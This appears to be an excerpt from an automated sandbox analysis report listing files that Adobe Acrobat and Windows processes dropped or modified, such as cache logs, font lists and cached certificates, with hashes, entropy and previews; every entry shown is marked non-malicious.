SHA-256:	3FEF3F2471117E42301D74BFA01596B7ADBE3DDCC270360FEE38C2343677F418
SHA-512:	C30D50FBCF34FC5374675327F1D7C833DCA5FFCD61B909617E0A4B1F1040F482F17C42693BAB4B428C3C4B7913EE5DB077CBFE098FB238735BB5EC7554D5ADBD
Malicious:	false
Preview:	5)j.... ...............X\...;...{......................p.D..........{}.2:...}..h.F.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......-....{...............................................................................................................................................................................................2...{.....................................3:...}...................5.3:...}...........................#......h.F.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07962990954297264
Encrypted:	false
SSDEEP:	3:eFltKYehvkYlT/fgsCrZClW/tDxdtlAll+SHY/Xl+/rQLve:eFXKzhXLfgs3GTrlAAS4M
MD5:	F0EBC7D608BCCB10C6D6EDF3EB66A6BD
SHA1:	8087F426E15391AFE249DDB4B4D88AC70B2C5F63
SHA-256:	20FB88A5332220CF64A7EE4D7DB92C31E3A8FA08E930E77F9D9696F9D286A8D2
SHA-512:	C1397481BACD71D0F70466765773007FFBB9195660E919B11EC0C08761DBF91892255C227FE24D6603F695DFB9E142BD38251680712ED18C1FCFA0D0B6B0C020
Malicious:	false
Preview:	.........................................;...{..3:...}.......{}..............{}......{}.vv_Q.....{}..................5.3:...}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.143282296839844
Encrypted:	false
SSDEEP:	6:iO4qVv4q2PqLTwi2nKuAl9OmbnIFUtSqVTbZmwsqVTxkwOqLTwi2nKuAl9OmbjLJ:7nv4v8wZHAahFUtZTb/LTx5TwZHAaSJ
MD5:	29A3FCF3A70E170CF1A66944CC039DB3
SHA1:	96D84A7DD15508822E226519DFEB8BEAFE25BEB1
SHA-256:	3937D3A741026E2AC5E967B0ADA5E9027F301E65AAE4C09963DE7EF79BF36C67
SHA-512:	FB9600F62406331FB8BF90CFF5B506B7595093F22913709BAFA5FAFEA44DCBB458E012C3250478F970314502206E0C716AA19F540470E0EC2AFB0DE5D26E7892
Malicious:	false
Preview:	2025/01/10-20:58:50.679 ac0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-20:58:50.682 ac0 Recovering log #3.2025/01/10-20:58:50.682 ac0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.143282296839844
Encrypted:	false
SSDEEP:	6:iO4qVv4q2PqLTwi2nKuAl9OmbnIFUtSqVTbZmwsqVTxkwOqLTwi2nKuAl9OmbjLJ:7nv4v8wZHAahFUtZTb/LTx5TwZHAaSJ
MD5:	29A3FCF3A70E170CF1A66944CC039DB3
SHA1:	96D84A7DD15508822E226519DFEB8BEAFE25BEB1
SHA-256:	3937D3A741026E2AC5E967B0ADA5E9027F301E65AAE4C09963DE7EF79BF36C67
SHA-512:	FB9600F62406331FB8BF90CFF5B506B7595093F22913709BAFA5FAFEA44DCBB458E012C3250478F970314502206E0C716AA19F540470E0EC2AFB0DE5D26E7892
Malicious:	false
Preview:	2025/01/10-20:58:50.679 ac0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-20:58:50.682 ac0 Recovering log #3.2025/01/10-20:58:50.682 ac0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	331
Entropy (8bit):	5.166557651310967
Encrypted:	false
SSDEEP:	6:iO4qVEpq2PqLTwi2nKuAl9Ombzo2jMGIFUtSqVEKZmwsqVEdDkwOqLTwi2nKuAlx:7nEpv8wZHAa8uFUtZEK/LE15TwZHAa8z
MD5:	3FB7DCFA218419D16DF0D72751DBEF21
SHA1:	2E62755E3FA3A3484B7BBFC9548FB29B2FFAAB3A
SHA-256:	D4D3FD5FDB4BFFEAC58D55871ADBE56C8F4E838B9809A3660F0EE7397083CD94
SHA-512:	E29D7686AD6B20FACBBEDF35AABD442B9DD856CDB29198F850B2F1CD88981D4430AF1634E297B5170E8491A9989F9136C3CE1860F4AC54B89DB356A94CCA803E
Malicious:	false
Preview:	2025/01/10-20:58:50.739 da4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-20:58:50.740 da4 Recovering log #3.2025/01/10-20:58:50.741 da4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	331
Entropy (8bit):	5.166557651310967
Encrypted:	false
SSDEEP:	6:iO4qVEpq2PqLTwi2nKuAl9Ombzo2jMGIFUtSqVEKZmwsqVEdDkwOqLTwi2nKuAlx:7nEpv8wZHAa8uFUtZEK/LE15TwZHAa8z
MD5:	3FB7DCFA218419D16DF0D72751DBEF21
SHA1:	2E62755E3FA3A3484B7BBFC9548FB29B2FFAAB3A
SHA-256:	D4D3FD5FDB4BFFEAC58D55871ADBE56C8F4E838B9809A3660F0EE7397083CD94
SHA-512:	E29D7686AD6B20FACBBEDF35AABD442B9DD856CDB29198F850B2F1CD88981D4430AF1634E297B5170E8491A9989F9136C3CE1860F4AC54B89DB356A94CCA803E
Malicious:	false
Preview:	2025/01/10-20:58:50.739 da4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-20:58:50.740 da4 Recovering log #3.2025/01/10-20:58:50.741 da4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\6409791f-34f9-454d-a118-8f5a24d6fece.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.96775079901533
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqAsBdOg2HZcaq3QYiub5P7E4T3y:Y2sRdsAdMHg3QYhbt7nby
MD5:	FD3BC0BF9F2950958C42048FED682F9F
SHA1:	B273EAABE4FA4B6B8B6A695754C3CD9B09ADDB9C
SHA-256:	B6D9171FB8BEC8A3DC9EC60A05F9CCB66632A8AFE9AFA2011A59DE1D16BB79AF
SHA-512:	4C695249ACFA998C1A761FFE83DA35D4946E6F1725486E19B409C010B4D67045A1CC6686BD1DCFEF0439A96C624BDAD8453E1DB5B2225AB8E2F81E274AD474B5
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381120742790189","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":119307},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.9","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.96775079901533
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqAsBdOg2HZcaq3QYiub5P7E4T3y:Y2sRdsAdMHg3QYhbt7nby
MD5:	FD3BC0BF9F2950958C42048FED682F9F
SHA1:	B273EAABE4FA4B6B8B6A695754C3CD9B09ADDB9C
SHA-256:	B6D9171FB8BEC8A3DC9EC60A05F9CCB66632A8AFE9AFA2011A59DE1D16BB79AF
SHA-512:	4C695249ACFA998C1A761FFE83DA35D4946E6F1725486E19B409C010B4D67045A1CC6686BD1DCFEF0439A96C624BDAD8453E1DB5B2225AB8E2F81E274AD474B5
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381120742790189","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":119307},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.9","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.220655146519113
Encrypted:	false
SSDEEP:	96:GICD8SBCmPAi8j0/8qbGNSwPgGYPx8xRqhm068OzxuNMco0J:1CDLCmPj8j0/8qKgwPHYPx8xemT8OzxC
MD5:	4DF6B3F8B78EEE6C5CE52E36D6215B85
SHA1:	323A2B22E2FE18E487EF42CD09EF4550EC40C94C
SHA-256:	8DC6C011399557B3C910AAEA418F879AD98444373CB34A7123ED3E6F7C4695BC
SHA-512:	C9BC542FDE05159F95746EB1B1EDDCC7A2EA30841A38B654E61D8E2DD772301FAE952E3D7497293940A302943EBD63AB74399C135CF54FAD5E13A2BE03D9604B
Malicious:	false
Preview:	*...#................version.1..namespace-W...o................next-map-id.1.Pnamespace-ed11ed50_1515_4296_b27c_721e1e1acdec-https://rna-resource.acrobat.com/.0.w..r................next-map-id.2.Snamespace-f62cae74_b031_4dd2_8c7b_e9ef3858dbf9-https://rna-v2-resource.acrobat.com/.1:M4.r................next-map-id.3.Snamespace-2a2b5482_c0ce_4c74_9fbc_8a8daf6ed72d-https://rna-v2-resource.acrobat.com/.2IE..o................next-map-id.4.Pnamespace-b58dfce7_364b_43da_946b_3d7546a793e5-https://rna-resource.acrobat.com/.3KQ..^...............Pnamespace-ed11ed50_1515_4296_b27c_721e1e1acdec-https://rna-resource.acrobat.com/.xK.^...............Pnamespace-b58dfce7_364b_43da_946b_3d7546a793e5-https://rna-resource.acrobat.com/.i.+a...............Snamespace-f62cae74_b031_4dd2_8c7b_e9ef3858dbf9-https://rna-v2-resource.acrobat.com/Tz.qa...............Snamespace-2a2b5482_c0ce_4c74_9fbc_8a8daf6ed72d-https://rna-v2-resource.acrobat.com/"_.o................next-map-id.5.Pnamespace-7c898a99_566e_4628_b4ec_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	319
Entropy (8bit):	5.123006923468284
Encrypted:	false
SSDEEP:	6:iO4qVxq2PqLTwi2nKuAl9OmbzNMxIFUtSqV+ZmwsqVmNDkwOqLTwi2nKuAl9Ombg:7nxv8wZHAa8jFUtZ+/LmND5TwZHAa84J
MD5:	CD2EDD55D70B6E577D88C42D316F8E8E
SHA1:	B82431EC9924E72A24C99C2567BB7DE1FB91A176
SHA-256:	82AF9890CDF7944268EEB21E247D4DF96430DD196C6E65923ACE38EFEBE84149
SHA-512:	4DC8E5D9D181E24314993E0A7B36FE1796CE6257C9350FBB920682046B559CF7DAD7A3D000C839D487BE8E9B2F2F1830A77A2615945FD6F3ADF91C7A779C439E
Malicious:	false
Preview:	2025/01/10-20:58:51.100 da4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-20:58:51.120 da4 Recovering log #3.2025/01/10-20:58:51.128 da4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	319
Entropy (8bit):	5.123006923468284
Encrypted:	false
SSDEEP:	6:iO4qVxq2PqLTwi2nKuAl9OmbzNMxIFUtSqV+ZmwsqVmNDkwOqLTwi2nKuAl9Ombg:7nxv8wZHAa8jFUtZ+/LmND5TwZHAa84J
MD5:	CD2EDD55D70B6E577D88C42D316F8E8E
SHA1:	B82431EC9924E72A24C99C2567BB7DE1FB91A176
SHA-256:	82AF9890CDF7944268EEB21E247D4DF96430DD196C6E65923ACE38EFEBE84149
SHA-512:	4DC8E5D9D181E24314993E0A7B36FE1796CE6257C9350FBB920682046B559CF7DAD7A3D000C839D487BE8E9B2F2F1830A77A2615945FD6F3ADF91C7A779C439E
Malicious:	false
Preview:	2025/01/10-20:58:51.100 da4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-20:58:51.120 da4 Recovering log #3.2025/01/10-20:58:51.128 da4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 13, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 13
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.438186803571549
Encrypted:	false
SSDEEP:	384:Se/ci5GFiBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:4JurVgazUpUTTGt
MD5:	55B79D9C24083D25F613BACFA8F744B2
SHA1:	3D14B9B145D17AF047E543E75B3D9B25D04D78E5
SHA-256:	7AD5A21E94EF56AFA4ED02A4F64E0D6D7BEB67AB0E034D8193A9742D2F755DD8
SHA-512:	18F08DB124ADC7DE29D3F2CDADE89CCE230BEACA51B6BCAD6A2E36069707B8856C863860D024CD738FD127DD75682398D572CDA85B37ADEB07405A46AFAB96B6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	2.216067648591055
Encrypted:	false
SSDEEP:	48:7MAAW8ZRqPmFTIF3XmHjBoGGR+jMz+Lh8:7a3R79IVXEBodRBkq
MD5:	0379CEF569C56E7905463B329F5838BE
SHA1:	26725635828B0992B33E6564D00A66F04A4B8A46
SHA-256:	07E5E291F0247547DD3B3314F6FA8A891074CBBBD4EA517E3C148A7AA4C3FF48
SHA-512:	43218AE4BB3A5E53A2AF83420721E6A2B1CB06E04F040D9B4BA01E64A65A58B46952F9EEB9EADCC6D864022459B4D29DE65ADA61162878B612023BB7DF89D155
Malicious:	false
Preview:	.... .c.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7008865340992054
Encrypted:	false
SSDEEP:	3:kkFkl7+AlltfllXlE/HT8kYlzltNNX8RolJuRdxLlGB9lQRYwpDdt:kKdA/eT8JlzdNMa8RdWBwRd
MD5:	AF993366D83EAE25959A526D92E1E08A
SHA1:	93663C4155E7991D0100CCB7004093BDC2722B0E
SHA-256:	0AA941DB188CFBF33ED31944300CC487E4C53C119952B8060516BB26113FBFE9
SHA-512:	723B115E343C911F85F71E082B81989E3414130A2FCB09916C85C37ADDD2C676197B4617E95D284E03EE0CD9DD17647583787D7175DC31CB7798A24FCA1A8447
Malicious:	false
Preview:	p...... ..........ic.c..(....................................................... ..........W.... ...............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.2319854253366045
Encrypted:	false
SSDEEP:	6:kKgL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:oiDImsLNkPlE99SNxAhUe/3
MD5:	70AA586DD4F21687DC3D953F61CA3425
SHA1:	402181F11DB7EB164A676F7B9E5BB180B93387F1
SHA-256:	5C1F4A3736296B409C92566BF5FDF68E6F9D46B5B4AB6C9C41B5B76C25F69601
SHA-512:	2FFC6F422F7E33A124EB7F16CDF001081422999CDC24359CEC8249F7504E1464803F4C558DB3F2914F1F24DF33B164C9CE0C0852FD775D0758DDDA2EE3006FEF
Malicious:	false
Preview:	p...... ..........u.c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.652

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat 